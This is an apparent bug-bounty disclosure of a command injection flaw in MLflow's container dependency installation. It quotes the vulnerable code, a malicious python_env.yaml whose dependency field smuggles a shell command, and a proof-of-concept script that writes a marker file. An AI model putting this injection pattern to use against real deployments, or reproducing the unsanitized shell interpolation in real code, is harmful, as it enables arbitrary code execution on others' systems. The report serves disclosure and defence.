Command Injection via Malicious Model Artifacts in mlflow/mlflow

Valid

Reported on Dec 23rd 2025


A command injection vulnerability exists in MLflow's model serving container initialization code. When deploying a model with env_manager=LOCAL, MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without sanitization. An attacker who can supply a malicious model artifact can achieve arbitrary command execution on systems that deploy the model.

Technical Description

The vulnerable code is located in the _install_model_dependencies_to_env() function which handles installing model dependencies when deploying models in containers:

# mlflow/models/container/__init__.py, lines 140-148

if env_manager == em.LOCAL:
    # Install pip dependencies directly into the local environment
    python_env_config_path = os.path.join(model_path, env_conf[em.VIRTUALENV])
    python_env = _PythonEnv.from_yaml(python_env_config_path)
    deps = " ".join(python_env.build_dependencies + python_env.dependencies)
    deps = deps.replace("requirements.txt", os.path.join(model_path, "requirements.txt"))
    if Popen(["bash", "-c", f"python -m pip install {deps}"]).wait() != 0:
        raise Exception("Failed to install model dependencies.")
    return []

The vulnerability exists because:

  1. _PythonEnv.from_yaml() reads the python_env.yaml file using yaml.safe_load() and returns the dependencies list without validation
  2. The dependencies are joined with spaces into a single string (line 144)
  3. This string is directly interpolated into a bash command (line 146)
  4. No sanitization or escaping is performed on the dependency strings
  5. Shell metacharacters (;, |, &&, $(), etc.) are interpreted by bash

Root Cause Analysis

The _PythonEnv class in mlflow/utils/environment.py performs no validation on dependency strings:

# mlflow/utils/environment.py, lines 131-133

@classmethod
def from_yaml(cls, path):
    with open(path) as f:
        return cls.from_dict(yaml.safe_load(f))  # No validation performed

The YAML file is parsed and the dependencies list is returned as-is, allowing arbitrary strings including shell metacharacters.

POC

Malicious python_env.yaml

python: '3.12'
build_dependencies: []
dependencies:
  - "numpy; echo 'COMMAND_INJECTION_SUCCESSFUL' > /tmp/poc_evidence.txt; echo"

Resulting Command Execution

When MLflow processes this artifact, it constructs and executes:

bash -c "python -m pip install numpy; echo 'COMMAND_INJECTION_SUCCESSFUL' > /tmp/poc_evidence.txt; echo"

Impact

This vulnerability is particularly critical because:

  • MLflow is widely used for ML model deployment in production environments
  • Model artifacts are often shared via registries, S3 buckets, or other storage
  • Exploitation occurs automatically during model deployment with no user interaction
  • Commands execute with the privileges of the container/process (often root)

Occurrences


_init_.py L146](https://github.com/mlflow/mlflow/blob/master/mlflow/models/container/__init__.py#L146)

#!/usr/bin/env python3
"""
Minimal PoC: MLflow Command Injection via python_env.yaml
Vulnerability: mlflow/models/container/__init__.py:146
"""

import os
import tempfile
import yaml

# Import the actual vulnerable function from MLflow
from mlflow.models.container import _install_model_dependencies_to_env
from mlflow.utils import env_manager as em

def main():
    with tempfile.TemporaryDirectory() as model_path:
        # 1. Create minimal MLmodel file
        with open(os.path.join(model_path, "MLmodel"), "w") as f:
            yaml.dump({
                "flavors": {
                    "python_function": {
                        "env": {"virtualenv": "python_env.yaml"},
                        "loader_module": "mlflow.pyfunc.model"
                    }
                }
            }, f)

# 2. Create requirements.txt (required by MLflow)
        with open(os.path.join(model_path, "requirements.txt"), "w") as f:
            f.write("")

# 3. Create malicious python_env.yaml with command injection payload
        with open(os.path.join(model_path, "python_env.yaml"), "w") as f:
            yaml.dump({
                "python": "3.12",
                "build_dependencies": [],
                "dependencies": [\
                    "pip; echo PWNED > /tmp/poc_evidence.txt; #"\
                ]
            }, f)

print("[*] Calling MLflow's _install_model_dependencies_to_env()...")
        print(f"[*] Model path: {model_path}")

# 4. Call the actual vulnerable MLflow function
        try:
            _install_model_dependencies_to_env(model_path, env_manager=em.LOCAL)
        except Exception as e:
            print(f"[*] Function raised: {e}")

# 5. Check if injection succeeded
        if os.path.exists("/tmp/poc_evidence.txt"):
            print("\n[!] COMMAND INJECTION SUCCESSFUL")
            print(f"[!] Evidence: {open('/tmp/poc_evidence.txt').read().strip()}")
            os.remove("/tmp/poc_evidence.txt")
        else:
            print("[-] Injection failed")

if __name__ == "__main__":
    main()

CVE

CVE-2025-15379 published

Vulnerability Type

CWE-77: Command Injection

Severity

Critical (10)

Attack vector Network

Attack complexity Low

Privileges required None

User interaction None

Scope Changed

Confidentiality High

Integrity High

Availability High

Open in visual CVSS calculator

Registry

Pypi

Affected Version

3.8.0

Visibility

Public

Status

Fixed

Disclosure Bounty

$1500

Fix Bounty

$375

Found by

Cole Murray

@colemurray

MIDDLEWEIGHT